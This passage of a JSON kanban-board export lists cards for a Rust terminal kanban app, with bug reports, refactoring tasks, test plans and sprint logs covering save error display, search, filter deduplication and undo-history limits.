            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155917Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "moving cards from last column doesnt uncomplete",
        "updated_at": "2025-10-26T08:17:50.126483Z"
      },
      {
        "card_number": 174,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-10T12:08:03.335353Z",
        "description": "## Problem\nSave errors only logged, not visible to user. User unaware that changes weren't persisted.\n\n## Impact\n- User loses data unknowingly\n- Thinks changes are saved when they're not\n- No way to retry\n\n## Tasks\n1. Add error channel to App struct\n2. Create unbounded error channel in run()\n3. Update save worker to send errors to channel:\n   - ConflictDetected errors\n   - Save failures (disk full, permissions, etc.)\n4. Add error_rx.recv() branch to tokio::select!\n5. Update UI to display save errors prominently:\n   - Red background for critical errors\n   - Display in footer or top of screen\n   - Show ⚠ warning icon\n\n## Files to Modify\n- `crates/kanban-tui/src/app.rs`\n- `crates/kanban-tui/src/ui.rs`\n\n## UI Requirements\n- Save errors must be RED with warning icon\n- Must be visible without scrolling\n- Should persist until user acknowledges or new save succeeds\n\n## Acceptance Criteria\n- [ ] Error channel created\n- [ ] Save worker sends all errors to UI\n- [ ] UI displays errors prominently\n- [ ] Manual test: Disk full error shows in UI\n- [ ] Manual test: Conflict error shows in UI",
        "due_date": null,
        "id": "ef45e88d-4c8d-4a3b-a26b-3d0b4e719f34",
        "points": 1,
        "position": 37,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784473Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-28T08:47:10.923203Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743065264Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784477Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989117554Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743065592Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989117812Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add User-Visible Save Error Notifications",
        "updated_at": "2026-04-04T23:33:28.989118751Z"
      },
      {
        "card_number": 175,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-10T12:08:03.406110Z",
        "description": "## Purpose\nVerify all 5 phases work correctly with integration tests.\n\n## Tests to Add\nCreate new file: `crates/kanban-tui/tests/data_integrity_tests.rs`\n\n1. test_delete_card_cleans_dependencies\n   - Create card A blocking card B\n   - Delete card A\n   - Verify: graph no longer has blocker edge\n\n2. test_delete_column_with_cards_fails\n   - Create column with cards\n   - Attempt to delete column\n   - Verify: returns error, column still exists\n\n3. test_delete_sprint_unassigns_cards\n   - Create sprint with assigned cards\n   - Delete sprint\n   - Verify: cards no longer have sprint_id\n\n4. test_update_nonexistent_card_fails\n   - Attempt to update card that doesn't exist\n   - Verify: returns NotFound error\n\n5. test_import_with_invalid_references_fails\n   - Create JSON with card referencing non-existent column\n   - Attempt import\n   - Verify: returns validation error with details\n\n6. test_unbounded_save_queue_never_drops\n   - Queue 200+ saves rapidly\n   - Verify: all saves complete, none dropped\n\n## Acceptance Criteria\n- [ ] All 6 tests written\n- [ ] All tests pass\n- [ ] Tests use realistic data\n- [ ] Error messages are checked, not just success/failure",
        "due_date": null,
        "id": "6f52316a-d9d7-4c5d-97ae-e19688c52c0c",
        "points": 2,
        "position": 38,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784566Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-28T08:47:10.923208Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743068008Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784567Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989127897Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743068303Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989128153Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add Integration Tests for Data Integrity Fixes",
        "updated_at": "2026-04-04T23:33:28.989129742Z"
      },
      {
        "card_number": 86,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-26T10:53:43.741365Z",
        "created_at": "2025-10-23T17:57:29.251898Z",
        "description": null,
        "due_date": null,
        "id": "689ba54b-d1ce-4e96-98d8-96a94ec36319",
        "points": 1,
        "position": 38,
        "priority": "Low",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155917Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "missing sprint header for sprint filter in kanban view",
        "updated_at": "2025-10-26T10:53:43.741365Z"
      },
      {
        "card_number": 179,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T13:18:27.527506Z",
        "description": "The status meta data field doesnt reflect which column the card is in.\n\nEither we drop this field or make it actually signify what column the card is in. What else would it be good for?\n",
        "due_date": null,
        "id": "cc4a82bf-5ede-4968-b7fa-798f5824cdf0",
        "points": 2,
        "position": 39,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743073491Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166369Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989194903Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743073784Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989195157Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Status metadata field doesnt reflect column",
        "updated_at": "2026-04-04T23:44:57.098605602Z"
      },
      {
        "card_number": 49,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-26T10:55:51.909659Z",
        "created_at": "2025-10-14T20:50:42.305840Z",
        "description": "this interupts typing q from the dialog box.\n\nPlease disable quitting the program when a text input in a dialogue is selected\n",
        "due_date": null,
        "id": "71f10e4f-d2bf-4be3-9150-87bfb16b1807",
        "points": 2,
        "position": 39,
        "priority": "Critical",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155914Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "hitting `q` in dialogue quits the program",
        "updated_at": "2025-10-26T10:55:51.909659Z"
      },
      {
        "card_number": 29,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-26T11:38:11.679667Z",
        "created_at": "2025-10-11T21:45:54.321945Z",
        "description": "Mvp, use `/` to search\nsearch by title\nsearch by branch name\n\nLater for boards list also\n\n",
        "due_date": null,
        "id": "00a80b5e-f7c8-47e7-ba51-312a16a1618e",
        "points": 4,
        "position": 40,
        "priority": "Critical",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155912Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Search in cards list",
        "updated_at": "2025-10-26T11:38:11.679669Z"
      },
      {
        "card_number": 176,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-10T12:08:03.476164Z",
        "description": "## Purpose\nUse property-based testing to verify invariants hold under all conditions.\n\n## Setup\nAdd to `crates/kanban-domain/Cargo.toml`:\n```\n[dev-dependencies]\nquickcheck = \"1.0\"\nquickcheck_macros = \"1.0\"\n```\n\n## Properties to Test\nCreate new file: `crates/kanban-domain/tests/property_tests.rs`\n\n1. prop_validation_catches_orphaned_cards\n   - Property: If card references non-existent column, validation must catch it\n\n2. prop_cascade_delete_removes_all_edges\n   - Property: After removing card's edges, no edges should reference that card\n\n3. prop_delete_column_with_cards_always_fails\n   - Property: DeleteColumn must fail if any cards reference the column\n\n4. prop_validation_is_idempotent\n   - Property: Running validation twice gives same result\n\n## Arbitrary Implementations Needed\n- impl Arbitrary for Board\n- impl Arbitrary for Column\n- impl Arbitrary for Card\n- impl Arbitrary for DependencyGraph\n\n## Acceptance Criteria\n- [ ] QuickCheck dependencies added\n- [ ] All 4 properties implemented\n- [ ] All Arbitrary implementations added\n- [ ] Tests pass with 100+ random inputs\n- [ ] Properties catch edge cases not in integration tests",
        "due_date": null,
        "id": "ce6e4fbc-580c-49b0-8a9a-acef4a3ffcf8",
        "points": 2,
        "position": 40,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784559Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-28T08:47:10.923189Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743070718Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784559Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989156981Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743071031Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989157238Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add QuickCheck Property Tests for Validation",
        "updated_at": "2026-04-04T23:33:28.989158178Z"
      },
      {
        "card_number": 89,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-26T11:38:12.074697Z",
        "created_at": "2025-10-24T16:43:56.587484Z",
        "description": "We need to be able to search for cards by title, by description and by card name (MVP-00, KAN-01)\n\nImplement `/` as the key to search all displayed columns dard lists by\n\n`Enter` to apply search string\n\n`Escape` to reset\n\nShow the search string until `Escape` is hit.\n\nConsiderations?\n\nNone yet.\n\n",
        "due_date": null,
        "id": "f064720d-6ba8-4872-a092-f4c0f76652a4",
        "points": 5,
        "position": 41,
        "priority": "High",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155917Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "search for cards",
        "updated_at": "2025-10-26T11:38:12.074700Z"
      },
      {
        "card_number": 180,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T13:19:38.832299Z",
        "description": "I think the time has come to do work for dates of cards and make due date set on cards significant \n\n",
        "due_date": null,
        "id": "daec9371-85e1-49a7-b46f-def5be365f17",
        "points": 3,
        "position": 41,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743076265Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166354Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989086287Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743076551Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989086590Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "due dates",
        "updated_at": "2026-04-04T23:33:28.989087804Z"
      },
      {
        "card_number": 181,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T20:56:32.282294Z",
        "description": "**File:** `crates/kanban-domain/src/history.rs`\n\nUnbounded memory growth in long sessions. Each Snapshot clones the entire application state. Every command pushes a full clone onto the undo stack with no limit.\n\nAdd a `max_depth` field to `HistoryManager` using `VecDeque`, enforce it in `capture_before_command` by dropping oldest snapshots when limit exceeded. Default to 100. Expose `with_max_depth(n)` constructor.\n\nTests: verify stack never exceeds max_depth, oldest snapshots are dropped FIFO, redo stack unaffected.",
        "due_date": null,
        "id": "03b819d6-1023-4478-83ab-1867806d547a",
        "points": 2,
        "position": 42,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743078999Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166297Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989154567Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743079301Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989154832Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add max depth to HistoryManager",
        "updated_at": "2026-04-04T23:44:57.121213720Z"
      },
      {
        "card_number": 46,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-26T11:38:57.923107Z",
        "created_at": "2025-10-14T20:35:32.904299Z",
        "description": "need to figure out where to fit the branch name... instead of the sprint name? hm\nwe can do the filtering by sprint anyway so make show the branch name instead as we can show the sprint as the header of the task list\n\nmvp\n\nfiltered by sprint task list show the sprint name next to each task. this is unncessary and it also shows the sprint name in white and not grey.\n\n- can we replace the sprint name in the filtered by sprint task list with the branch name and show it in grey as in the main task list\n\n2025-10-26 12:38:32\n---\n\nLooking at this card today it feels like this one could be cancelled or has already been completed?\n",
        "due_date": null,
        "id": "014b6fcc-5451-4ef1-8b01-fbdad9117179",
        "points": 1,
        "position": 42,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "show branch name in task list",
        "updated_at": "2025-10-26T11:38:57.923109Z"
      },
      {
        "card_number": 77,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-27T22:27:09.272122Z",
        "created_at": "2025-10-21T22:01:25.695703Z",
        "description": "we can use the file creation date as the time stamp and make sure that the changelog update includes this\n\n",
        "due_date": null,
        "id": "00f1e6ee-435a-4f4a-b0d8-29e61e1b184b",
        "points": 1,
        "position": 43,
        "priority": "Low",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155916Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "changeset script to add timestamp of changeset creation and card name",
        "updated_at": "2025-10-27T22:27:09.272122Z"
      },
      {
        "card_number": 182,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T20:56:32.344839Z",
        "description": "**File:** `crates/kanban-domain/src/query/mod.rs`\n\n30 lines of identical sprint/hide-assigned/search filter logic duplicated across `filter_and_sort_cards` (lines 51-95) and `filter_and_sort_cards_by_column` (lines 100-149). Only difference is the column variant adds `column_filter.matches(c)`.\n\nOption A: Extract a `matches_options()` helper function called by both public functions.\nOption B: Use `CompositeFilter` from the filter module to build filter chain dynamically (requires implementing SprintFilter and HideAssignedFilter as CardFilter trait objects).",
        "due_date": null,
        "id": "7d026ae3-ae2e-4e50-8103-27e5a5708d1a",
        "points": 2,
        "position": 43,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743081749Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166318Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989099972Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743082072Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989100234Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Deduplicate query filter logic",
        "updated_at": "2026-04-04T23:44:57.145432657Z"
      },
      {
        "card_number": 183,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T20:56:32.411332Z",
        "description": "**Files:** `crates/kanban-domain/src/filter/card_filter.rs:11` (trait), `crates/kanban-domain/src/operations.rs:10` (struct)\n\nTwo public items named `CardFilter` in the same crate — a trait (predicate interface) and a struct (data bag of filter options for `KanbanOperations::list_cards`). Consumers must disambiguate via path.\n\nRename the struct in `operations.rs` to `CardFilterCriteria` or `CardListFilter`. The struct is only used in the `KanbanOperations::list_cards` method signature so rename scope should be small.",
        "due_date": null,
        "id": "4460e994-5455-42f3-a86a-45e8454bf130",
        "points": 1,
        "position": 44,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743084515Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166327Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989161558Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743084819Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989161818Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Resolve CardFilter naming collision",
        "updated_at": "2026-04-04T23:44:57.168256711Z"
      },
      {
        "card_number": 101,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-27T22:27:15.912059Z",
        "created_at": "2025-10-26T10:43:39.777013Z",
        "description": "Like the filter by sprints view we assign the name of the current sprint to the header of the card list\n\nWe want to do the same for the unassigned card list. give that filter a column header, like\n\n`Unassigned Cards`\n\n",
        "due_date": null,
        "id": "8ba27c97-efc2-4335-b749-5cfebe21ad0b",
        "points": 1,
        "position": 44,
        "priority": "Low",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155918Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "add column header for non assigned filter",
        "updated_at": "2025-10-27T22:27:15.912059Z"
      },
      {
        "card_number": 184,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T20:56:32.456850Z",
        "description": "**File:** `crates/kanban-domain/src/search/mod.rs:61-95`\n\n`BranchNameSearcher::get_branch_name` runs on every `matches()` call, performing sprint lookup, string formatting, title slugification, and branch prefix resolution. During interactive search this is 500 string allocations per keystroke for 500 cards.\n\nOption A: Pre-compute branch names into `HashMap<CardId, String>` at search session start, pass to `CachedBranchNameSearcher`.\nOption B: Accept the cost — for typical board sizes (<200 cards) overhead is negligible. Profile before optimizing.",
        "due_date": null,
        "id": "e51c6e55-0c6b-4d45-b3b7-e0a9b23be7da",
        "points": 2,
        "position": 45,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743087331Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166322Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989097494Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743087612Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989097757Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Cache branch names in BranchNameSearcher",
        "updated_at": "2026-04-04T23:44:57.192439714Z"
      },
      {
        "card_number": 104,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-30T10:19:35.665590Z",
        "created_at": "2025-10-30T09:47:43.546359Z",
        "description": "Putting this card on sleep as i dont have a repro of the case yet\n\nI think we solved this one by just updating the kanban app..\n",
        "due_date": null,
        "id": "a7deacc9-f9b0-4732-b2a8-b6af058ab319",
        "points": 1,
        "position": 45,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "I cant seem to set points with the point setter dialogue anymore",
        "updated_at": "2025-10-30T10:19:35.665590Z"
      },
      {
        "card_number": 185,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T20:56:32.504770Z",
        "description": "**File:** `crates/kanban-domain/src/query/sprint.rs:36-50`\n\nCurrent code iterates the card list twice (once for uncompleted, once for completed). Replace with single-pass fold or `Iterator::partition`.\n\nSame optimization applies to `sort_card_ids` (lines 55-71) and `calculate_points_by_ids` (lines 82-88) which use `cards.iter().find()` for O(n) lookup per ID — build a `HashMap<Uuid, &Card>` first for O(1) per lookup.",
        "due_date": null,
        "id": "6d899a22-8bc3-44bc-b695-8995e9f47524",
        "points": 1,
        "position": 46,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743090219Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166345Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989122559Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743090503Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989122826Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Use partition in partition_sprint_cards",
        "updated_at": "2026-04-04T23:44:57.215039759Z"
      },
      {
        "card_number": 110,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-01T16:40:40.994998Z",
        "created_at": "2025-10-31T19:30:57.075301Z",
        "description": "When viewing card details we want to be able to see the sprints the card has seen.\n\nIf the number of sprints is greater than 1 show a list of the sprints in a new panel next to the card meta data. \n\na new panel that is in a column next to the card meta data but above the card description\n\n",
        "due_date": null,
        "id": "e4dad741-7971-4bab-b79f-14fe46e38381",
        "points": 2,
        "position": 47,
        "priority": "Medium",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-10-31T19:31:01.761368Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-10-31T19:33:37.939979Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-01T16:40:20.314792Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "in card metadata. show the sprint log for a card",
        "updated_at": "2025-11-01T16:40:40.994998Z"
      },
      {
        "card_number": 186,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-01-29T20:56:32.551632Z",
        "description": "**File:** `crates/kanban-domain/src/card.rs:26-33`\n\n`AnimationType` is a UI/presentation concern living in the domain layer. Doc comment says \"visual feedback\", no Serialize/Deserialize derives, only used by TUI layer.\n\nOptions:\n1. Move to `kanban-tui` — cleanest separation\n2. Keep in domain, document rationale — pragmatic, enum is 5 lines with no behavior\n3. Move to `kanban-core` — if considered generic UI primitive like SelectionState/InputState",
        "due_date": null,
        "id": "1ee5488a-3c01-42cf-a5f9-b5d432287fcc",
        "points": 1,
        "position": 47,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743092975Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:53.166308Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989228799Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743093255Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
